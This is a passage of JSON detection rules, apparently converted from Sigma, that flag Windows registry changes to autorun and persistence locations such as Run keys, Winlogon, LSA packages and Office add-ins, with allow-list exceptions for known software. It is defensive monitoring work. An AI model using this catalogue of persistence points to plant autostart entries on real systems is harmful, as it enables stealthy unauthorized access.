*\\\\ShellEx\\\\PropertySheetHandlers* OR *\\\\ShellEx\\\\ContextMenuHandlers*)) AND (NOT ((winlog.event_data.Details:\"\$Empty\$\") OR (winlog.event_data.Details:\"\\{807583E5\\-5146\\-11D5\\-A672\\-00B0D022E945\\}\") OR (process.executable:\"C\\:\\\\Windows\\\\System32\\\\drvinst.exe\"))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Victor Sergeev", "Daniil Yugoslavskiy", "Gleb Sukhodolskiy", "Timur Zinniatullin", "oscd.community", "Tim Shelton", "frack113 (split)"], "license": ""}
{"description": "Detects modification of autostart extensibility point (ASEP) in registry.", "enabled": false, "false_positives": ["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8b739e2b-c0d8-ca92-913a-6f644cd9ece3", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Common Autorun Keys Modification", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Windows\\ CE\\ Services\\\\AutoStart* OR *\\\\Software\\\\Wow6432Node\\\\Microsoft\\\\Command\\ Processor\\\\Autorun* OR *\\\\SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Active\\ Setup\\\\Installed\\ Components* OR *\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ CE\\ Services\\\\AutoStartOnDisconnect* OR *\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ CE\\ Services\\\\AutoStartOnConnect* OR *\\\\SYSTEM\\\\Setup\\\\CmdLine* OR *\\\\Software\\\\Microsoft\\\\Ctf\\\\LangBarAddin* OR *\\\\Software\\\\Microsoft\\\\Command\\ Processor\\\\Autorun* OR *\\\\SOFTWARE\\\\Microsoft\\\\Active\\ Setup\\\\Installed\\ Components* OR *\\\\SOFTWARE\\\\Classes\\\\Protocols\\\\Handler* OR *\\\\SOFTWARE\\\\Classes\\\\Protocols\\\\Filter* OR *\\\\SOFTWARE\\\\Classes\\\\Htmlfile\\\\Shell\\\\Open\\\\Command\\\\\$Default\$* OR *\\\\Environment\\\\UserInitMprLogonScript* OR *\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\Control\\ Panel\\\\Desktop\\\\Scrnsave.exe* OR *\\\\Software\\\\Microsoft\\\\Internet\\ Explorer\\\\UrlSearchHooks* OR *\\\\SOFTWARE\\\\Microsoft\\\\Internet\\ Explorer\\\\Desktop\\\\Components* OR *\\\\Software\\\\Classes\\\\Clsid\\\\\\{AB8902B4\\-09CA\\-4bb6\\-B78D\\-A8F59079A8D5\\}\\\\Inprocserver32* OR *\\\\Control\\ Panel\\\\Desktop\\\\Scrnsave.exe*)) AND (NOT ((winlog.event_data.Details:\"\$Empty\$\") OR (winlog.event_data.TargetObject:(*\\\\Office\\\\ClickToRun\\\\REGISTRY\\\\MACHINE\\\\Software\\\\Classes\\\\PROTOCOLS\\\\Handler\\\\* OR *\\\\ClickToRunStore\\\\HKMU\\\\SOFTWARE\\\\Classes\\\\PROTOCOLS\\\\Handler\\\\*) OR winlog.event_data.Details:(\"\\{314111c7\\-a502\\-11d2\\-bbca\\-00c04f8ec294\\}\" OR \"\\{3459B272\\-CC19\\-4448\\-86C9\\-DDC3B4B2FAD3\\}\" OR \"\\{42089D2D\\-912D\\-4018\\-9087\\-2B87803E93FB\\}\" OR \"\\{5504BE45\\-A83B\\-4808\\-900A\\-3A5C36E7F77A\\}\" OR \"\\{807583E5\\-5146\\-11D5\\-A672\\-00B0D022E945\\}\")) OR (winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Active\\ Setup\\\\Installed\\ Components\\\\\\{8A69D345\\-D564\\-463c\\-AFF1\\-A69D9E530F96\\}\\\\*) OR (winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Active\\ Setup\\\\Installed\\ Components\\\\\\{9459C573\\-B17A\\-45AE\\-9F64\\-1857B5D58CEE\\}\\\\*) OR (winlog.event_data.TargetObject:*\\\\Software\\\\Microsoft\\\\Active\\ Setup\\\\Installed\\ Components\\\\\\{89820200\\-ECBD\\-11cf\\-8B85\\-00AA005B4383\\}\\\\*) OR (process.executable:(\"C\\:\\\\Windows\\\\System32\\\\poqexec.exe\" OR \"C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\ Office\\\\root\\\\integration\\\\integrator.exe\")) OR (process.executable:(C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\* OR C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\Updates\\\\*) AND process.executable:*\\\\OfficeClickToRun.exe))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Victor Sergeev", "Daniil Yugoslavskiy", "Gleb Sukhodolskiy", "Timur Zinniatullin", "oscd.community", "Tim Shelton", "frack113 (split)", "wagga (name)"], "license": ""}
{"description": "Detects modification of autostart extensibility point (ASEP) in registry.", "enabled": false, "false_positives": ["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "639b6b7b-2c32-0def-d40c-9dd07ff47f75", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "CurrentControlSet Autorun Keys Modification", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SYSTEM\\\\CurrentControlSet\\\\Control* AND winlog.event_data.TargetObject:(*\\\\Terminal\\ Server\\\\WinStations\\\\RDP\\-Tcp\\\\InitialProgram* OR *\\\\Terminal\\ Server\\\\Wds\\\\rdpwd\\\\StartupPrograms* OR *\\\\SecurityProviders\\\\SecurityProviders* OR *\\\\SafeBoot\\\\AlternateShell* OR *\\\\Print\\\\Providers* OR *\\\\Print\\\\Monitors* OR *\\\\NetworkProvider\\\\Order* OR *\\\\Lsa\\\\Notification\\ Packages* OR *\\\\Lsa\\\\Authentication\\ Packages* OR *\\\\BootVerificationProgram\\\\ImagePath*)) AND (NOT ((winlog.event_data.Details:\"\$Empty\$\") OR (process.executable.text:\"C\\:\\\\Windows\\\\System32\\\\spoolsv.exe\" AND winlog.event_data.TargetObject:*\\\\Print\\\\Monitors\\\\CutePDF\\ Writer\\ Monitor* AND winlog.event_data.Details:(\"cpwmon64_v40.dll\" OR \"CutePDF\\ Writer\")) OR (process.executable.text:\"C\\:\\\\Windows\\\\System32\\\\spoolsv.exe\" AND winlog.event_data.TargetObject:*Print\\\\Monitors\\\\Appmon\\\\Ports\\\\Microsoft.Office.OneNote_* AND user.name:(*AUTHORI* OR *AUTORI*)) OR (process.executable.text:\"C\\:\\\\Windows\\\\System32\\\\poqexec.exe\" AND winlog.event_data.TargetObject:*\\\\NetworkProvider\\\\Order\\\\ProviderOrder) OR (process.executable.text:\"C\\:\\\\Windows\\\\System32\\\\spoolsv.exe\" AND winlog.event_data.TargetObject:*\\\\Print\\\\Monitors\\\\MONVNC\\\\Driver AND winlog.event_data.Details:\"VNCpm.dll\"))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Victor Sergeev", "Daniil Yugoslavskiy", "Gleb Sukhodolskiy", "Timur Zinniatullin", "oscd.community", "Tim Shelton", "frack113 (split)"], "license": ""}
{"description": "Detects modification of autostart extensibility point (ASEP) in registry.", "enabled": false, "false_positives": ["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d326c13c-5ae7-9aaa-63a4-1714130e285b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "CurrentVersion Autorun Keys Modification", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion* AND winlog.event_data.TargetObject:(*\\\\ShellServiceObjectDelayLoad* OR *\\\\Run\\\\* OR *\\\\RunOnce\\\\* OR *\\\\RunOnceEx\\\\* OR *\\\\RunServices\\\\* OR *\\\\RunServicesOnce\\\\* OR *\\\\Policies\\\\System\\\\Shell* OR *\\\\Policies\\\\Explorer\\\\Run* OR *\\\\Group\\ Policy\\\\Scripts\\\\Startup* OR *\\\\Group\\ Policy\\\\Scripts\\\\Shutdown* OR *\\\\Group\\ Policy\\\\Scripts\\\\Logon* OR *\\\\Group\\ Policy\\\\Scripts\\\\Logoff* OR *\\\\Explorer\\\\ShellServiceObjects* OR *\\\\Explorer\\\\ShellIconOverlayIdentifiers* OR *\\\\Explorer\\\\ShellExecuteHooks* OR *\\\\Explorer\\\\SharedTaskScheduler* OR *\\\\Explorer\\\\Browser\\ Helper\\ Objects* OR *\\\\Authentication\\\\PLAP\\ Providers* OR *\\\\Authentication\\\\Credential\\ Providers* OR *\\\\Authentication\\\\Credential\\ Provider\\ Filters*)) AND (NOT ((winlog.event_data.Details:\"\$Empty\$\" OR winlog.event_data.TargetObject:*\\\\NgcFirst\\\\ConsecutiveSwitchCount OR process.executable.text:(*\\\\AppData\\\\Local\\\\Microsoft\\\\OneDrive\\\\Update\\\\OneDriveSetup.exe OR *\\\\AppData\\\\Roaming\\\\Spotify\\\\Spotify.exe OR *\\\\AppData\\\\Local\\\\WebEx\\\\WebexHost.exe) OR process.executable.text:(\"C\\:\\\\WINDOWS\\\\system32\\\\devicecensus.exe\" OR \"C\\:\\\\Windows\\\\system32\\\\winsat.exe\" OR \"C\\:\\\\Program\\ Files\\\\Microsoft\\ OneDrive\\\\StandaloneUpdater\\\\OneDriveSetup.exe\" OR \"C\\:\\\\Program\\ Files\\\\Microsoft\\ OneDrive\\\\Update\\\\OneDriveSetup.exe\" OR \"C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\ OneDrive\\\\Update\\\\OneDriveSetup.exe\" OR \"C\\:\\\\Program\\ Files\\\\KeePass\\ Password\\ Safe\\ 2\\\\ShInstUtil.exe\" OR \"C\\:\\\\Program\\ Files\\\\Everything\\\\Everything.exe\" OR \"C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\ Office\\\\root\\\\integration\\\\integrator.exe\")) OR (process.executable.text:\"C\\:\\\\Windows\\\\system32\\\\LogonUI.exe\" AND winlog.event_data.TargetObject:(*\\\\Authentication\\\\Credential\\ Providers\\\\\\{D6886603\\-9D2F\\-4EB2\\-B667\\-1971041FA96B\\}\\\\* OR *\\\\Authentication\\\\Credential\\ Providers\\\\\\{BEC09223\\-B018\\-416D\\-A0AC\\-523971B639F5\\}\\\\* OR *\\\\Authentication\\\\Credential\\ Providers\\\\\\{8AF662BF\\-65A0\\-4D0A\\-A540\\-A338A999D36F\\}\\\\* OR *\\\\Authentication\\\\Credential\\ Providers\\\\\\{27FBDB57\\-B613\\-4AF2\\-9D7E\\-4FA7A66C21AD\\}\\\\*)) OR (process.executable.text:(C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\\\EdgeUpdate\\\\Install\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\\\EdgeWebView\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe*)) OR (process.executable.text:\"C\\:\\\\Windows\\\\system32\\\\regsvr32.exe\" AND winlog.event_data.TargetObject:*DropboxExt* AND winlog.event_data.Details:*A251\\-47B7\\-93E1\\-CDD82E34AF8B\\}) OR (winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\Opera\\ Browser\\ Assistant AND winlog.event_data.Details:\"C\\:\\\\Program\\ Files\\\\Opera\\\\assistant\\\\browser_assistant.exe\") OR (winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\iTunesHelper AND winlog.event_data.Details:\"\\\"C\\:\\\\Program\\ Files\\\\iTunes\\\\iTunesHelper.exe\\\"\") OR (winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\zoommsirepair AND winlog.event_data.Details:\"\\\"C\\:\\\\Program\\ Files\\\\Zoom\\\\bin\\\\installer.exe\\\"\\ \\/repair\") OR (winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\Greenshot AND winlog.event_data.Details:\"C\\:\\\\Program\\ Files\\\\Greenshot\\\\Greenshot.exe\") OR (winlog.event_data.TargetObject:*\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\GoogleDriveFS AND winlog.event_data.Details:C\\:\\\\Program\\ Files\\\\Google\\\\Drive\\ File\\ Stream\\\\* AND winlog.event_data.Details:*\\\\GoogleDriveFS.exe*) OR (winlog.event_data.TargetObject:*GoogleDrive* AND winlog.event_data.Details:(\"\\{CFE8B367\\-77A7\\-41D7\\-9C90\\-75D16D7DC6B6\\}\" OR \"\\{A8E52322\\-8734\\-481D\\-A7E2\\-27B309EF8D56\\}\" OR \"\\{C973DA94\\-CBDF\\-4E77\\-81D1\\-E5B794FBD146\\}\" OR \"\\{51EF1569\\-67EE\\-4AD6\\-9646\\-E726C3FFC8A2\\}\")) OR (winlog.event_data.Details:(C\\:\\\\Windows\\\\system32\\\\cmd.exe\\ \\/q\\ \\/c\\ rmdir\\ \\/s\\ \\/q\\ \\\"C\\:\\\\Users\\\\* OR C\\:\\\\Windows\\\\system32\\\\cmd.exe\\ \\/q\\ \\/c\\ del\\ \\/q\\ \\\"C\\:\\\\Users\\\\*) AND winlog.event_data.Details:*\\\\AppData\\\\Local\\\\Microsoft\\\\OneDrive\\\\*) OR (winlog.event_data.TargetObject:*\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\\\{* AND winlog.event_data.Details:*\\\\AppData\\\\Local\\\\Package\\ Cache\\\\\\{* AND winlog.event_data.Details:*\\}\\\\python\\-* AND winlog.event_data.Details:*.exe\\\"\\ \\/burn.runonce) OR (process.executable.text:(C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\* OR C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\Updates\\\\*) AND process.executable.text:*\\\\OfficeClickToRun.exe) OR (process.executable.text:\"C\\:\\\\Program\\ Files\\\\Windows\\ Defender\\\\MsMpEng.exe\") OR (process.executable.text:*\\\\Microsoft\\\\Teams\\\\current\\\\Teams.exe AND winlog.event_data.Details:*\\\\Microsoft\\\\Teams\\\\Update.exe\\ \\-\\-processStart\\ *) OR (process.executable.text:\"C\\:\\\\Windows\\\\system32\\\\userinit.exe\" AND winlog.event_data.Details:\"ctfmon.exe\\ \\/n\") OR (process.executable.text:C\\:\\\\Program\\ Files\\\\AVG\\\\Antivirus\\\\Setup\\\\* AND winlog.event_data.Details:(\"\\\"C\\:\\\\Program\\ Files\\\\AVG\\\\Antivirus\\\\AvLaunch.exe\\\"\\ \\/gui\" OR \"\\\"C\\:\\\\Program\\ Files\\ \$x86\$\\\\AVG\\\\Antivirus\\\\AvLaunch.exe\\\"\\ \\/gui\" OR \"\\{472083B0\\-C522\\-11CF\\-8763\\-00608CC02F24\\}\")) OR (process.executable.text:(*\\\\aurora\\-agent\\-64.exe OR *\\\\aurora\\-agent.exe) AND winlog.event_data.TargetObject:*\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\aurora\\-dashboard AND winlog.event_data.Details:\"C\\:\\\\Program\\ Files\\\\Aurora\\-Agent\\\\tools\\\\aurora\\-dashboard.exe\") OR (winlog.event_data.TargetObject:*\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\Everything AND winlog.event_data.Details:*\\\\Everything\\\\Everything.exe\\\"\\ \\-startup))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Victor Sergeev", "Daniil Yugoslavskiy", "Gleb Sukhodolskiy", "Timur Zinniatullin", "oscd.community", "Tim Shelton", "frack113 (split)"], "license": ""}
{"description": "Detects modification of autostart extensibility point (ASEP) in registry.", "enabled": false, "false_positives": ["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "13d8f83a-eb53-300a-4d38-a7fd78a91cf5", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "CurrentVersion NT Autorun Keys Modification", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion* AND winlog.event_data.TargetObject:(*\\\\Winlogon\\\\VmApplet* OR *\\\\Winlogon\\\\Userinit* OR *\\\\Winlogon\\\\Taskman* OR *\\\\Winlogon\\\\Shell* OR *\\\\Winlogon\\\\GpExtensions* OR *\\\\Winlogon\\\\AppSetup* OR *\\\\Winlogon\\\\AlternateShells\\\\AvailableShells* OR *\\\\Windows\\\\IconServiceLib* OR *\\\\Windows\\\\Appinit_Dlls* OR *\\\\Image\\ File\\ Execution\\ Options* OR *\\\\Font\\ Drivers* OR *\\\\Drivers32* OR *\\\\Windows\\\\Run* OR *\\\\Windows\\\\Load*)) AND (NOT ((winlog.event_data.Details:\"\$Empty\$\") OR (winlog.event_data.TargetObject:*\\\\Image\\ File\\ Execution\\ Options\\\\* AND winlog.event_data.TargetObject:(*\\\\DisableExceptionChainValidation OR *\\\\MitigationOptions)) OR (process.executable:C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\\\Temp\\\\* AND process.executable:*\\\\MicrosoftEdgeUpdate.exe) OR (winlog.event_data.TargetObject:(*\\\\ClickToRunStore\\\\HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\* OR *\\\\ClickToRun\\\\REGISTRY\\\\MACHINE\\\\Software\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\*) OR process.executable:(\"C\\:\\\\Program\\ Files\\\\Microsoft\\ Office\\\\root\\\\integration\\\\integrator.exe\" OR \"C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\ Office\\\\root\\\\integration\\\\integrator.exe\")) OR (process.executable:(C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\* OR C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\Updates\\\\*) AND process.executable:*\\\\OfficeClickToRun.exe) OR (process.executable:\"C\\:\\\\Windows\\\\system32\\\\svchost.exe\" AND winlog.event_data.TargetObject:(*\\\\Winlogon\\\\GPExtensions\\\\\\{827D319E\\-6EAC\\-11D2\\-A4EA\\-00C04F79F83A\\}\\\\PreviousPolicyAreas* OR *\\\\Winlogon\\\\GPExtensions\\\\\\{827D319E\\-6EAC\\-11D2\\-A4EA\\-00C04F79F83A\\}\\\\MaxNoGPOListChangesInterval*) AND winlog.event_data.Details:(\"DWORD\\ \$0x00000009\$\" OR \"DWORD\\ \$0x000003c0\$\")) OR (process.executable:C\\:\\\\Windows\\\\Microsoft.NET\\\\Framework* AND process.executable:*\\\\ngen.exe) OR (process.executable:*\\\\AppData\\\\Local\\\\Microsoft\\\\OneDrive\\\\StandaloneUpdater\\\\OneDriveSetup.exe AND winlog.event_data.TargetObject:*\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\Delete\\ Cached\\ Update\\ Binary AND winlog.event_data.Details:C\\:\\\\Windows\\\\system32\\\\cmd.exe\\ \\/q\\ \\/c\\ del\\ \\/q\\ \\\"C\\:\\\\Users\\\\* AND winlog.event_data.Details:*\\\\AppData\\\\Local\\\\Microsoft\\\\OneDrive\\\\Update\\\\OneDriveSetup.exe\\\"))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Victor Sergeev", "Daniil Yugoslavskiy", "Gleb Sukhodolskiy", "Timur Zinniatullin", "oscd.community", "Tim Shelton", "frack113 (split)"], "license": ""}
{"description": "Detects modification of autostart extensibility point (ASEP) in registry.", "enabled": false, "false_positives": ["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cd61239a-cd60-bf54-9df3-d6b2faf09f6e", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Internet Explorer Autorun Keys Modification", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\Software\\\\Wow6432Node\\\\Microsoft\\\\Internet\\ Explorer* OR *\\\\Software\\\\Microsoft\\\\Internet\\ Explorer*) AND winlog.event_data.TargetObject:(*\\\\Toolbar* OR *\\\\Extensions* OR *\\\\Explorer\\ Bars*)) AND (NOT ((winlog.event_data.Details:\"\$Empty\$\") OR (winlog.event_data.TargetObject:(*\\\\Extensions\\\\\\{2670000A\\-7350\\-4f3c\\-8081\\-5663EE0C6C49\\}* OR *\\\\Extensions\\\\\\{31D09BA0\\-12F5\\-4CCE\\-BE8A\\-2923E76605DA\\}* OR *\\\\Extensions\\\\\\{789FE86F\\-6FC4\\-46A1\\-9849\\-EDE0DB0C95CA\\}* OR *\\\\Extensions\\\\\\{A95fe080\\-8f5d\\-11d2\\-a20b\\-00aa003c157a\\}*)) OR (winlog.event_data.TargetObject:(*\\\\Toolbar\\\\ShellBrowser\\\\ITBar7Layout OR *\\\\Toolbar\\\\ShowDiscussionButton OR *\\\\Toolbar\\\\Locked)))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Victor Sergeev", "Daniil Yugoslavskiy", "Gleb Sukhodolskiy", "Timur Zinniatullin", "oscd.community", "Tim Shelton", "frack113 (split)"], "license": ""}
{"description": "Detects modification of autostart extensibility point (ASEP) in registry.", "enabled": false, "false_positives": ["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e7c4106e-df8e-9350-4114-3eb7d23981ad", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Office Autorun Keys Modification", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\Software\\\\Wow6432Node\\\\Microsoft\\\\Office* OR *\\\\Software\\\\Microsoft\\\\Office*) AND winlog.event_data.TargetObject:(*\\\\Word\\\\Addins* OR *\\\\PowerPoint\\\\Addins* OR *\\\\Outlook\\\\Addins* OR *\\\\Onenote\\\\Addins* OR *\\\\Excel\\\\Addins* OR *\\\\Access\\\\Addins* OR *test\\\\Special\\\\Perf*)) AND (NOT ((winlog.event_data.Details:\"\$Empty\$\") OR (winlog.event_data.TargetObject:(*\\\\Excel\\\\Addins\\\\AdHocReportingExcelClientLib.AdHocReportingExcelClientAddIn.1\\\\* OR *\\\\Excel\\\\Addins\\\\ExcelPlugInShell.PowerMapConnect\\\\* OR *\\\\Excel\\\\Addins\\\\NativeShim\\\\* OR *\\\\Excel\\\\Addins\\\\NativeShim.InquireConnector.1\\\\* OR *\\\\Excel\\\\Addins\\\\PowerPivotExcelClientAddIn.NativeEntry.1\\\\*)) OR (winlog.event_data.TargetObject:(*\\\\Outlook\\\\AddIns\\\\AccessAddin.DC\\\\* OR *\\\\Outlook\\\\AddIns\\\\ColleagueImport.ColleagueImportAddin\\\\* OR *\\\\Outlook\\\\AddIns\\\\EvernoteCC.EvernoteContactConnector\\\\* OR *\\\\Outlook\\\\AddIns\\\\EvernoteOLRD.Connect\\\\* OR *\\\\Outlook\\\\Addins\\\\Microsoft.VbaAddinForOutlook.1\\\\* OR *\\\\Outlook\\\\Addins\\\\OcOffice.OcForms\\\\* OR *\\\\Outlook\\\\Addins\\\\OscAddin.Connect\\\\* OR *\\\\Outlook\\\\Addins\\\\OutlookChangeNotifier.Connect\\\\* OR *\\\\Outlook\\\\Addins\\\\UCAddin.LyncAddin.1* OR *\\\\Outlook\\\\Addins\\\\UCAddin.UCAddin.1* OR *\\\\Outlook\\\\Addins\\\\UmOutlookAddin.FormRegionAddin\\\\*)) OR (process.executable:(C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\* OR C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\Updates\\\\*) AND process.executable:*\\\\OfficeClickToRun.exe))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Victor Sergeev", "Daniil Yugoslavskiy", "Gleb Sukhodolskiy", "Timur Zinniatullin", "oscd.community", "Tim Shelton", "frack113 (split)"], "license": ""}
{"description": "Detects modification of autostart extensibility point (ASEP) in registry.", "enabled": false, "false_positives": ["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f5403e74-31a8-5462-bb3b-f440d0138aa1", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Session Manager Autorun Keys Modification", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\System\\\\CurrentControlSet\\\\Control\\\\Session\\ Manager* AND winlog.event_data.TargetObject:(*\\\\SetupExecute* OR *\\\\S0InitialCommand* OR *\\\\KnownDlls* OR *\\\\Execute* OR *\\\\BootExecute* OR *\\\\AppCertDlls*)) AND (NOT (winlog.event_data.Details:\"\$Empty\$\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Victor Sergeev", "Daniil Yugoslavskiy", "Gleb Sukhodolskiy", "Timur Zinniatullin", "oscd.community", "Tim Shelton", "frack113 (split)"], "license": ""}
{"description": "Detects modification of autostart extensibility point (ASEP) in registry.", "enabled": false, "false_positives": ["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6cc6a843-fe6d-2f2c-effd-485cef0ab115", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "System Scripts Autorun Keys Modification", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\\Scripts* AND winlog.event_data.TargetObject:(*\\\\Startup* OR *\\\\Shutdown* OR *\\\\Logon* OR *\\\\Logoff*)) AND (NOT (winlog.event_data.Details:\"\$Empty\$\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": 